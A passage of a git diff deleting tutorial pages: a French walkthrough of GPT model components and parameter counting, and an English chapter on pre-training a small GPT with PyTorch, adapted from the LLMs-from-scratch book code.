entièrement connecté à deux couches à chaque position séparément et de manière identique. -- **Détails des Couches :** -- **Première Couche Linéaire :** Augmente la dimensionnalité de `emb_dim` à `4 * emb_dim`. -- **Activation GELU :** Applique une non-linéarité. -- **Deuxième Couche Linéaire :** Réduit la dimensionnalité à nouveau à `emb_dim`. - -> [!NOTE] -> Comme vous pouvez le voir, le réseau Feed Forward utilise 3 couches. La première est une couche linéaire qui multipliera les dimensions par 4 en utilisant des poids linéaires (paramètres à entraîner à l'intérieur du modèle). Ensuite, la fonction GELU est utilisée dans toutes ces dimensions pour appliquer des variations non linéaires afin de capturer des représentations plus riches et enfin une autre couche linéaire est utilisée pour revenir à la taille originale des dimensions. - -### **Mécanisme d'Attention Multi-Tête** - -Cela a déjà été expliqué dans une section précédente. - -#### **Objectif et Fonctionnalité** - -- **Auto-Attention Multi-Tête :** Permet au modèle de se concentrer sur différentes positions au sein de la séquence d'entrée lors de l'encodage d'un token. -- **Composants Clés :** -- **Requêtes, Clés, Valeurs :** Projections linéaires de l'entrée, utilisées pour calculer les scores d'attention. -- **Têtes :** Plusieurs mécanismes d'attention fonctionnant en parallèle (`num_heads`), chacun avec une dimension réduite (`head_dim`). -- **Scores d'Attention :** Calculés comme le produit scalaire des requêtes et des clés, mis à l'échelle et masqués. -- **Masquage :** Un masque causal est appliqué pour empêcher le modèle de prêter attention aux tokens futurs (important pour les modèles autorégressifs comme GPT). -- **Poids d'Attention :** Softmax des scores d'attention masqués et mis à l'échelle. -- **Vecteur de Contexte :** Somme pondérée des valeurs, selon les poids d'attention. -- **Projection de Sortie :** Couche linéaire pour combiner les sorties de toutes les têtes. - -> [!NOTE] -> L'objectif de ce réseau est de trouver les relations entre les tokens dans le même contexte. De plus, les tokens sont divisés en différentes têtes afin de prévenir le surapprentissage bien que les relations finales trouvées par tête soient combinées à la fin de ce réseau. -> -> De plus, pendant l'entraînement, un **masque causal** est appliqué afin que les tokens ultérieurs ne soient pas pris en compte lors de la recherche des relations spécifiques à un token et un **dropout** est également appliqué pour **prévenir le surapprentissage**. - -### **Normalisation de Couche** -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class LayerNorm(nn.Module): -def __init__(self, emb_dim): -super().__init__() -self.eps = 1e-5 # Prevent division by zero during normalization. -self.scale = nn.Parameter(torch.ones(emb_dim)) -self.shift = nn.Parameter(torch.zeros(emb_dim)) - -def forward(self, x): -mean = x.mean(dim=-1, keepdim=True) -var = x.var(dim=-1, keepdim=True, unbiased=False) -norm_x = (x - mean) / torch.sqrt(var + self.eps) -return self.scale * norm_x + self.shift -``` -#### **Objectif et Fonctionnalité** - -- **Layer Normalization :** Une technique utilisée pour normaliser les entrées à travers les caractéristiques (dimensions d'embedding) pour chaque exemple individuel dans un lot. -- **Composants :** -- **`eps` :** Une petite constante (`1e-5`) ajoutée à la variance pour éviter la division par zéro lors de la normalisation. -- **`scale` et `shift` :** Paramètres apprenables (`nn.Parameter`) qui permettent au modèle de mettre à l'échelle et de décaler la sortie normalisée. Ils sont initialisés à un et zéro, respectivement. -- **Processus de Normalisation :** -- **Calculer la Moyenne (`mean`) :** Calcule la moyenne de l'entrée `x` à travers la dimension d'embedding (`dim=-1`), en gardant la dimension pour le broadcasting (`keepdim=True`). -- **Calculer la Variance (`var`) :** Calcule la variance de `x` à travers la dimension d'embedding, en gardant également la dimension. Le paramètre `unbiased=False` garantit que la variance est calculée en utilisant l'estimateur biaisé (en divisant par `N` au lieu de `N-1`), ce qui est approprié lors de la normalisation sur les caractéristiques plutôt que sur les échantillons. -- **Normaliser (`norm_x`) :** Soustrait la moyenne de `x` et divise par la racine carrée de la variance plus `eps`. -- **Mettre à l'échelle et Décaler :** Applique les paramètres apprenables `scale` et `shift` à la sortie normalisée. - -> [!NOTE] -> L'objectif est d'assurer une moyenne de 0 avec une variance de 1 à travers toutes les dimensions du même token. Le but de cela est de **stabiliser l'entraînement des réseaux de neurones profonds** en réduisant le changement de covariables internes, qui fait référence au changement dans la distribution des activations du réseau en raison de la mise à jour des paramètres pendant l'entraînement. - -### **Bloc Transformer** - -_Des formes ont été ajoutées en tant que commentaires pour mieux comprendre les formes des matrices :_ -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 - -class TransformerBlock(nn.Module): -def __init__(self, cfg): -super().__init__() -self.att = MultiHeadAttention( -d_in=cfg["emb_dim"], -d_out=cfg["emb_dim"], -context_length=cfg["context_length"], -num_heads=cfg["n_heads"], -dropout=cfg["drop_rate"], -qkv_bias=cfg["qkv_bias"] -) -self.ff = FeedForward(cfg) -self.norm1 = LayerNorm(cfg["emb_dim"]) -self.norm2 = LayerNorm(cfg["emb_dim"]) -self.drop_shortcut = nn.Dropout(cfg["drop_rate"]) - -def forward(self, x): -# x shape: (batch_size, seq_len, emb_dim) - -# Shortcut connection for attention block -shortcut = x # shape: (batch_size, seq_len, emb_dim) -x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim) -x = self.att(x) # shape: (batch_size, seq_len, emb_dim) -x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim) -x = x + shortcut # shape: (batch_size, seq_len, emb_dim) - -# Shortcut connection for feedforward block -shortcut = x # shape: (batch_size, seq_len, emb_dim) -x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim) -x = self.ff(x) # shape: (batch_size, seq_len, emb_dim) -x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim) -x = x + shortcut # shape: (batch_size, seq_len, emb_dim) - -return x # Output shape: (batch_size, seq_len, emb_dim) - -``` -#### **Objectif et Fonctionnalité** - -- **Composition des Couches :** Combine l'attention multi-têtes, le réseau feedforward, la normalisation de couche et les connexions résiduelles. -- **Normalisation de Couche :** Appliquée avant les couches d'attention et feedforward pour un entraînement stable. -- **Connexions Résiduelles (Raccourcis) :** Ajoutent l'entrée d'une couche à sa sortie pour améliorer le flux de gradient et permettre l'entraînement de réseaux profonds. -- **Dropout :** Appliqué après les couches d'attention et feedforward pour la régularisation. - -#### **Fonctionnalité Étape par Étape** - -1. **Premier Chemin Résiduel (Auto-Attention) :** -- **Entrée (`shortcut`) :** Sauvegarder l'entrée originale pour la connexion résiduelle. -- **Norme de Couche (`norm1`) :** Normaliser l'entrée. -- **Attention Multi-Têtes (`att`) :** Appliquer l'auto-attention. -- **Dropout (`drop_shortcut`) :** Appliquer le dropout pour la régularisation. -- **Ajouter Résiduel (`x + shortcut`) :** Combiner avec l'entrée originale. -2. **Deuxième Chemin Résiduel (FeedForward) :** -- **Entrée (`shortcut`) :** Sauvegarder l'entrée mise à jour pour la prochaine connexion résiduelle. -- **Norme de Couche (`norm2`) :** Normaliser l'entrée. -- **Réseau FeedForward (`ff`) :** Appliquer la transformation feedforward. -- **Dropout (`drop_shortcut`) :** Appliquer le dropout. -- **Ajouter Résiduel (`x + shortcut`) :** Combiner avec l'entrée du premier chemin résiduel. - -> [!NOTE] -> Le bloc transformer regroupe tous les réseaux ensemble et applique une **normalisation** et des **dropouts** pour améliorer la stabilité et les résultats de l'entraînement.\ -> Notez comment les dropouts sont effectués après l'utilisation de chaque réseau tandis que la normalisation est appliquée avant. -> -> De plus, il utilise également des raccourcis qui consistent à **ajouter la sortie d'un réseau à son entrée**. Cela aide à prévenir le problème de gradient qui disparaît en s'assurant que les couches initiales contribuent "autant" que les dernières. - -### **GPTModel** - -_Des formes ont été ajoutées en tant que commentaires pour mieux comprendre les formes des matrices :_ -```python -# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04 -class GPTModel(nn.Module): -def __init__(self, cfg): -super().__init__() -self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"]) -# shape: (vocab_size, emb_dim) - -self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"]) -# shape: (context_length, emb_dim) - -self.drop_emb = nn.Dropout(cfg["drop_rate"]) - -self.trf_blocks = nn.Sequential( -*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])] -) -# Stack of TransformerBlocks - -self.final_norm = LayerNorm(cfg["emb_dim"]) -self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False) -# shape: (emb_dim, vocab_size) - -def forward(self, in_idx): -# in_idx shape: (batch_size, seq_len) -batch_size, seq_len = in_idx.shape - -# Token embeddings -tok_embeds = self.tok_emb(in_idx) -# shape: (batch_size, seq_len, emb_dim) - -# Positional embeddings -pos_indices = torch.arange(seq_len, device=in_idx.device) -# shape: (seq_len,) -pos_embeds = self.pos_emb(pos_indices) -# shape: (seq_len, emb_dim) - -# Add token and positional embeddings -x = tok_embeds + pos_embeds # Broadcasting over batch dimension -# x shape: (batch_size, seq_len, emb_dim) - -x = self.drop_emb(x) # Dropout applied -# x shape remains: (batch_size, seq_len, emb_dim) - -x = self.trf_blocks(x) # Pass through Transformer blocks -# x shape remains: (batch_size, seq_len, emb_dim) - -x = self.final_norm(x) # Final LayerNorm -# x shape remains: (batch_size, seq_len, emb_dim) - -logits = self.out_head(x) # Project to vocabulary size -# logits shape: (batch_size, seq_len, vocab_size) - -return logits # Output shape: (batch_size, seq_len, vocab_size) -``` -#### **Objectif et Fonctionnalité** - -- **Couches d'Incorporation :** -- **Incorporations de Tokens (`tok_emb`) :** Convertit les indices de tokens en incorporations. En rappel, ce sont les poids attribués à chaque dimension de chaque token dans le vocabulaire. -- **Incorporations Positionnelles (`pos_emb`) :** Ajoute des informations positionnelles aux incorporations pour capturer l'ordre des tokens. En rappel, ce sont les poids attribués aux tokens selon leur position dans le texte. -- **Dropout (`drop_emb`) :** Appliqué aux incorporations pour la régularisation. -- **Blocs Transformer (`trf_blocks`) :** Empilement de `n_layers` blocs transformer pour traiter les incorporations. -- **Normalisation Finale (`final_norm`) :** Normalisation de couche avant la couche de sortie. -- **Couche de Sortie (`out_head`) :** Projette les états cachés finaux à la taille du vocabulaire pour produire des logits pour la prédiction. - -> [!NOTE] -> L'objectif de cette classe est d'utiliser tous les autres réseaux mentionnés pour **prédire le prochain token dans une séquence**, ce qui est fondamental pour des tâches comme la génération de texte. -> -> Notez comment elle **utilisera autant de blocs transformer que indiqué** et que chaque bloc transformer utilise un réseau d'attention multi-têtes, un réseau de propagation avant et plusieurs normalisations. Donc, si 12 blocs transformer sont utilisés, multipliez cela par 12. -> -> De plus, une couche de **normalisation** est ajoutée **avant** la **sortie** et une couche linéaire finale est appliquée à la fin pour obtenir les résultats avec les dimensions appropriées. Notez comment chaque vecteur final a la taille du vocabulaire utilisé. Cela est dû au fait qu'il essaie d'obtenir une probabilité par token possible dans le vocabulaire. - -## Nombre de Paramètres à Entraîner - -Ayant la structure GPT définie, il est possible de déterminer le nombre de paramètres à entraîner : -```python -GPT_CONFIG_124M = { -"vocab_size": 50257, # Vocabulary size -"context_length": 1024, # Context length -"emb_dim": 768, # Embedding dimension -"n_heads": 12, # Number of attention heads -"n_layers": 12, # Number of layers -"drop_rate": 0.1, # Dropout rate -"qkv_bias": False # Query-Key-Value bias -} - -model = GPTModel(GPT_CONFIG_124M) -total_params = sum(p.numel() for p in model.parameters()) -print(f"Total number of parameters: {total_params:,}") -# Total number of parameters: 163,009,536 -``` -### **Calcul de l'étape par étape** - -#### **1. Couches d'incorporation : Incorporation de jetons et incorporation de position** - -- **Couche :** `nn.Embedding(vocab_size, emb_dim)` -- **Paramètres :** `vocab_size * emb_dim` -```python -token_embedding_params = 50257 * 768 = 38,597,376 -``` -- **Couche :** `nn.Embedding(context_length, emb_dim)` -- **Paramètres :** `context_length * emb_dim` -```python -position_embedding_params = 1024 * 768 = 786,432 -``` -**Paramètres d'Embedding Totaux** -```python -embedding_params = token_embedding_params + position_embedding_params -embedding_params = 38,597,376 + 786,432 = 39,383,808 -``` -#### **2. Blocs de Transformateur** - -Il y a 12 blocs de transformateur, donc nous allons calculer les paramètres pour un bloc et ensuite multiplier par 12. - -**Paramètres par Bloc de Transformateur** - -**a. Attention Multi-Tête** - -- **Composants :** -- **Couche Linéaire de Requête (`W_query`) :** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Couche Linéaire de Clé (`W_key`) :** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Couche Linéaire de Valeur (`W_value`) :** `nn.Linear(emb_dim, emb_dim, bias=False)` -- **Projection de Sortie (`out_proj`) :** `nn.Linear(emb_dim, emb_dim)` -- **Calculs :** - -- **Chacune de `W_query`, `W_key`, `W_value` :** - -```python -qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824 -``` - -Puisqu'il y a trois de ces couches : - -```python -total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472 -``` - -- **Projection de Sortie (`out_proj`) :** - -```python -out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592 -``` - -- **Total des Paramètres d'Attention Multi-Tête :** - -```python -mha_params = total_qkv_params + out_proj_params -mha_params = 1,769,472 + 590,592 = 2,360,064 -``` - -**b. Réseau FeedForward** - -- **Composants :** -- **Première Couche Linéaire :** `nn.Linear(emb_dim, 4 * emb_dim)` -- **Deuxième Couche Linéaire :** `nn.Linear(4 * emb_dim, emb_dim)` -- **Calculs :** - -- **Première Couche Linéaire :** - -```python -ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim) -ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368 -``` - -- **Deuxième Couche Linéaire :** - -```python -ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim -ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064 -``` - -- **Total des Paramètres FeedForward :** - -```python -ff_params = ff_first_layer_params + ff_second_layer_params -ff_params = 2,362,368 + 2,360,064 = 4,722,432 -``` - -**c. Normalisations de Couche** - -- **Composants :** -- Deux instances de `LayerNorm` par bloc. -- Chaque `LayerNorm` a `2 * emb_dim` paramètres (échelle et décalage). -- **Calculs :** - -```python -layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072 -``` - -**d. Total des Paramètres par Bloc de Transformateur** -```python -pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block -params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568 -``` -**Paramètres totaux pour tous les blocs de transformateur** -```python -pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers -total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816 -``` -#### **3. Couches finales** - -**a. Normalisation de la couche finale** - -- **Paramètres :** `2 * emb_dim` (échelle et décalage) -```python -pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536 -``` -**b. Couche de projection de sortie (`out_head`)** - -- **Couche :** `nn.Linear(emb_dim, vocab_size, bias=False)` -- **Paramètres :** `emb_dim * vocab_size` -```python -pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376 -``` -#### **4. Résumé de tous les paramètres** -```python -pythonCopy codetotal_params = ( -embedding_params + -total_transformer_blocks_params + -final_layer_norm_params + -output_projection_params -) -total_params = ( -39,383,808 + -85,026,816 + -1,536 + -38,597,376 -) -total_params = 163,009,536 -``` -## Générer du texte - -Avoir un modèle qui prédit le prochain token comme le précédent, il suffit de prendre les valeurs du dernier token de la sortie (car ce seront celles du token prédit), ce qui sera une **valeur par entrée dans le vocabulaire** et ensuite utiliser la fonction `softmax` pour normaliser les dimensions en probabilités qui s'additionnent à 1 et ensuite obtenir l'index de la plus grande entrée, qui sera l'index du mot dans le vocabulaire. - -Code de [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): -```python -def generate_text_simple(model, idx, max_new_tokens, context_size): -# idx is (batch, n_tokens) array of indices in the current context -for _ in range(max_new_tokens): - -# Crop current context if it exceeds the supported context size -# E.g., if LLM supports only 5 tokens, and the context size is 10 -# then only the last 5 tokens are used as context -idx_cond = idx[:, -context_size:] - -# Get the predictions -with torch.no_grad(): -logits = model(idx_cond) - -# Focus only on the last time step -# (batch, n_tokens, vocab_size) becomes (batch, vocab_size) -logits = logits[:, -1, :] - -# Apply softmax to get probabilities -probas = torch.softmax(logits, dim=-1) # (batch, vocab_size) - -# Get the idx of the vocab entry with the highest probability value -idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1) - -# Append sampled index to the running sequence -idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1) - -return idx - - -start_context = "Hello, I am" - -encoded = tokenizer.encode(start_context) -print("encoded:", encoded) - -encoded_tensor = torch.tensor(encoded).unsqueeze(0) -print("encoded_tensor.shape:", encoded_tensor.shape) - -model.eval() # disable dropout - -out = generate_text_simple( -model=model, -idx=encoded_tensor, -max_new_tokens=6, -context_size=GPT_CONFIG_124M["context_length"] -) - -print("Output:", out) -print("Output length:", len(out[0])) -``` -## Références - -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) diff --git a/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md b/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md deleted file mode 100644 index a9e0a9bb9..000000000 --- a/src/todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md +++ /dev/null @@ -1,970 +0,0 @@ -# 6. Pre-training & Loading models - -## Text Generation - -In order to train a model we will need that model to be able to generate new tokens. Then we will compare the generated tokens with the expected ones in order to train the model into **learning the tokens it needs to generate**. - -As in the previous examples we already predicted some tokens, it's possible to reuse that function for this purpose. - -> [!TIP] -> The goal of this sixth phase is very simple: **Train the model from scratch**. For this the previous LLM architecture will be used with some loops going over the data sets using the defined loss functions and optimizer to train all the parameters of the model. - -## Text Evaluation - -In order to perform a correct training it's needed to measure check the predictions obtained for the expected token. The goal of the training is to maximize the likelihood of the correct token, which involves increasing its probability relative to other tokens. - -In order to maximize the probability of the correct token, the weights of the model must be modified to that probability is maximised. The updates of the weights is done via **backpropagation**. This requires a **loss function to maximize**. In this case, the function will be the **difference between the performed prediction and the desired one**. - -However, instead of working with the raw predictions, it will work with a logarithm with base n. So if the current prediction of the expected token was 7.4541e-05, the natural logarithm (base *e*) of **7.4541e-05** is approximately **-9.5042**.\ -Then, for each entry with a context length of 5 tokens for example, the model will need to predict 5 tokens, being the first 4 tokens the last one of the input and the fifth the predicted one. Therefore, for each entry we will have 5 predictions in that case (even if the first 4 ones were in the input the model doesn't know this) with 5 expected token and therefore 5 probabilities to maximize. - -Therefore, after performing the natural logarithm to each prediction, the **average** is calculated, the **minus symbol removed** (this is called _cross entropy loss_) and thats the **number to reduce as close to 0 as possible** because the natural logarithm of 1 is 0: - -

https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233

- -Another way to measure how good the model is is called perplexity. **Perplexity** is a metric used to evaluate how well a probability model predicts a sample. In language modelling, it represents the **model's uncertainty** when predicting the next token in a sequence.\ -For example, a perplexity value of 48725, means that when needed to predict a token it's unsure about which among 48,725 tokens in the vocabulary is the good one. - -## Pre-Train Example - -This is the initial code proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) some times slightly modify - -
- -Previous code used here but already explained in previous sections - -```python -""" -This is code explained before so it won't be exaplained -""" - -import tiktoken -import torch -import torch.nn as nn -from torch.utils.data import Dataset, DataLoader - - -class GPTDatasetV1(Dataset): - def __init__(self, txt, tokenizer, max_length, stride): - self.input_ids = [] - self.target_ids = [] - - # Tokenize the entire text - token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"}) - - # Use a sliding window to chunk the book into overlapping sequences of max_length - for i in range(0, len(token_ids) - max_length, stride): - input_chunk = token_ids[i:i + max_length] - target_chunk = token_ids[i + 1: i + max_length + 1] - self.input_ids.append(torch.tensor(input_chunk)) - self.target_ids.append(torch.tensor(target_chunk)) - - def __len__(self): - return len(self.input_ids) - - def __getitem__(self, idx): - return self.input_ids[idx], self.target_ids[idx] - - -def create_dataloader_v1(txt, batch_size=4, max_length=256, - stride=128, shuffle=True, drop_last=True, num_workers=0): - # Initialize the tokenizer - tokenizer = tiktoken.get_encoding("gpt2") - - # Create dataset - dataset = GPTDatasetV1(txt, tokenizer, max_length, stride) - - # Create dataloader - dataloader = DataLoader( - dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers) - - return dataloader - - -class MultiHeadAttention(nn.Module): - def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False): - super().__init__() - assert d_out % num_heads == 0, "d_out must be divisible by n_heads" - - self.d_out = d_out - self.num_heads = num_heads - self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim - - self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias) - self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias) - self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias) - self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs - self.dropout = nn.Dropout(dropout) - self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) - - def forward(self, x): - b, num_tokens, d_in = x.shape - - keys = self.W_key(x) # Shape: (b, num_tokens, d_out) - queries = self.W_query(x) - values = self.W_value(x) - - # We implicitly split the matrix by adding a `num_heads` dimension - # Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim) - keys = keys.view(b, num_tokens, self.num_heads, self.head_dim) - values = values.view(b, num_tokens, self.num_heads, self.head_dim) - queries = queries.view(b, num_tokens, self.num_heads, self.head_dim) - - # Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim) - keys = keys.transpose(1, 2) - queries = queries.transpose(1, 2) - values = values.transpose(1, 2) - - # Compute scaled dot-product attention (aka self-attention) with a causal mask - attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head - - # Original mask truncated to the number of tokens and converted to boolean - mask_bool = self.mask.bool()[:num_tokens, :num_tokens] - - # Use the mask to fill attention scores - attn_scores.masked_fill_(mask_bool, -torch.inf) - - attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1) - attn_weights = self.dropout(attn_weights) - - # Shape: (b, num_tokens, num_heads, head_dim) - context_vec = (attn_weights @ values).transpose(1, 2) - - # Combine heads, where self.d_out = self.num_heads * self.head_dim - context_vec = context_vec.reshape(b, num_tokens, self.d_out) - context_vec = self.out_proj(context_vec) # optional projection - - return context_vec - - -class LayerNorm(nn.Module): - def __init__(self, emb_dim): - super().__init__() - self.eps = 1e-5 - self.scale = nn.Parameter(torch.ones(emb_dim)) - self.shift = nn.Parameter(torch.zeros(emb_dim)) - - def forward(self, x): - mean = x.mean(dim=-1, keepdim=True) - var = x.var(dim=-1, keepdim=True, unbiased=False) - norm_x = (x - mean) / torch.sqrt(var + self.eps) - return self.scale * norm_x + self.shift - - -class GELU(nn.Module): - def __init__(self): - super().__init__() - - def forward(self, x): - return 0.5 * x * (1 + torch.tanh( - torch.sqrt(torch.tensor(2.0 / torch.pi)) * - (x + 0.044715 * torch.pow(x, 3)) - )) - - -class FeedForward(nn.Module): - def __init__(self, cfg): - super().__init__() - self.layers = nn.Sequential( - nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]), - GELU(), - nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]), - ) - - def forward(self, x): - return self.layers(x) - - -class TransformerBlock(nn.Module): - def __init__(self, cfg): - super().__init__() - self.att = MultiHeadAttention( - d_in=cfg["emb_dim"], - d_out=cfg["emb_dim"], - context_length=cfg["context_length"], - num_heads=cfg["n_heads"], - dropout=cfg["drop_rate"], - qkv_bias=cfg["qkv_bias"]) - self.ff = FeedForward(cfg) - self.norm1 = LayerNorm(cfg["emb_dim"]) - self.norm2 = LayerNorm(cfg["emb_dim"]) - self.drop_shortcut = nn.Dropout(cfg["drop_rate"]) - - def forward(self, x): - # Shortcut connection for attention block - shortcut = x - x = self.norm1(x) - x = self.att(x) # Shape [batch_size, num_tokens, emb_size] - x = self.drop_shortcut(x) - x = x + shortcut # Add the original input back - - # Shortcut connection for feed-forward block - shortcut = x - x = self.norm2(x) - x = self.ff(x) - x = self.drop_shortcut(x) - x = x + shortcut # Add the original input back - - return x - - -class GPTModel(nn.Module): - def __init__(self, cfg): - super().__init__() - self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"]) - self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"]) - self.drop_emb = nn.Dropout(cfg["drop_rate"]) - - self.trf_blocks = nn.Sequential( - *[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]) - - self.final_norm = LayerNorm(cfg["emb_dim"]) - self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False) - - def forward(self, in_idx): - batch_size, seq_len = in_idx.shape - tok_embeds = self.tok_emb(in_idx) - pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device)) - x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size] - x = self.drop_emb(x) - x = self.trf_blocks(x) - x = self.final_norm(x) - logits = self.out_head(x) - return logits -``` - -
- -```python -# Download contents to train the data with -import os -import urllib.request - -file_path = "the-verdict.txt" -url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt" - -if not os.path.exists(file_path): - with urllib.request.urlopen(url) as response: - text_data = response.read().decode('utf-8') - with open(file_path, "w", encoding="utf-8") as file: - file.write(text_data) -else: - with open(file_path, "r", encoding="utf-8") as file: - text_data = file.read() - -total_characters = len(text_data) -tokenizer = tiktoken.get_encoding("gpt2") -total_tokens = len(tokenizer.encode(text_data)) - -print("Data downloaded") -print("Characters:", total_characters) -print("Tokens:", total_tokens) - -# Model initialization -GPT_CONFIG_124M = { - "vocab_size": 50257, # Vocabulary size - "context_length": 256, # Shortened context length (orig: 1024) - "emb_dim": 768, # Embedding dimension - "n_heads": 12, # Number of attention heads - "n_layers": 12, # Number of layers - "drop_rate": 0.1, # Dropout rate - "qkv_bias": False # Query-key-value bias -} - -torch.manual_seed(123) -model = GPTModel(GPT_CONFIG_124M) -model.eval() -print ("Model initialized") - - -# Functions to transform from tokens to ids and from to ids to tokens -def text_to_token_ids(text, tokenizer): - encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'}) - encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension - return encoded_tensor - -def token_ids_to_text(token_ids, tokenizer): - flat = token_ids.squeeze(0) # remove batch dimension - return tokenizer.decode(flat.tolist()) - - - -# Define loss functions -def calc_loss_batch(input_batch, target_batch, model, device): - input_batch, target_batch = input_batch.to(device), target_batch.to(device) - logits = model(input_batch) - loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten()) - return loss - - -def calc_loss_loader(data_loader, model, device, num_batches=None): - total_loss = 0. - if len(data_loader) == 0: - return float("nan") - elif num_batches is None: - num_batches = len(data_loader) - else: - # Reduce the number of batches to match the total number of batches in the data loader - # if num_batches exceeds the number of batches in the data loader - num_batches = min(num_batches, len(data_loader)) - for i, (input_batch, target_batch) in enumerate(data_loader): - if i < num_batches: - loss = calc_loss_batch(input_batch, target_batch, model, device) - total_loss += loss.item() - else: - break - return total_loss / num_batches - - -# Apply Train/validation ratio and create dataloaders -train_ratio = 0.90 -split_idx = int(train_ratio * len(text_data)) -train_data = text_data[:split_idx] -val_data = text_data[split_idx:] - -torch.manual_seed(123) - -train_loader = create_dataloader_v1( - train_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=True, - shuffle=True, - num_workers=0 -) - -val_loader = create_dataloader_v1( - val_data, - batch_size=2, - max_length=GPT_CONFIG_124M["context_length"], - stride=GPT_CONFIG_124M["context_length"], - drop_last=False, - shuffle=False, - num_workers=0 -) - - -# Sanity checks -if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the training loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "increase the `training_ratio`") - -if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]: - print("Not enough tokens for the validation loader. " - "Try to lower the `GPT_CONFIG_124M['context_length']` or " - "decrease the `training_ratio`") - -print("Train loader:") -for x, y in train_loader: - print(x.shape, y.shape) - -print("\nValidation loader:") -for x, y in val_loader: - print(x.shape, y.shape) - -train_tokens = 0 -for input_batch, target_batch in train_loader: - train_tokens += input_batch.numel() - -val_tokens = 0 -for input_batch, target_batch in val_loader: - val_tokens += input_batch.numel() - -print("Training tokens:", train_tokens) -print("Validation tokens:", val_tokens) -print("All tokens:", train_tokens + val_tokens) - - -# Indicate the device to use -if torch.cuda.is_available(): - device = torch.device("cuda") -elif torch.backends.mps.is_available(): - device = torch.device("mps") -else: - device = torch.device("cpu") - -print(f"Using {device} device.") - -model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes - - - -# Pre-calculate losses without starting yet -torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader - -with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet - train_loss = calc_loss_loader(train_loader, model, device) - val_loss = calc_loss_loader(val_loader, model, device) - -print("Training loss:", train_loss) -print("Validation loss:", val_loss) - - -# Functions to train the data -def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs, - eval_freq, eval_iter, start_context, tokenizer): 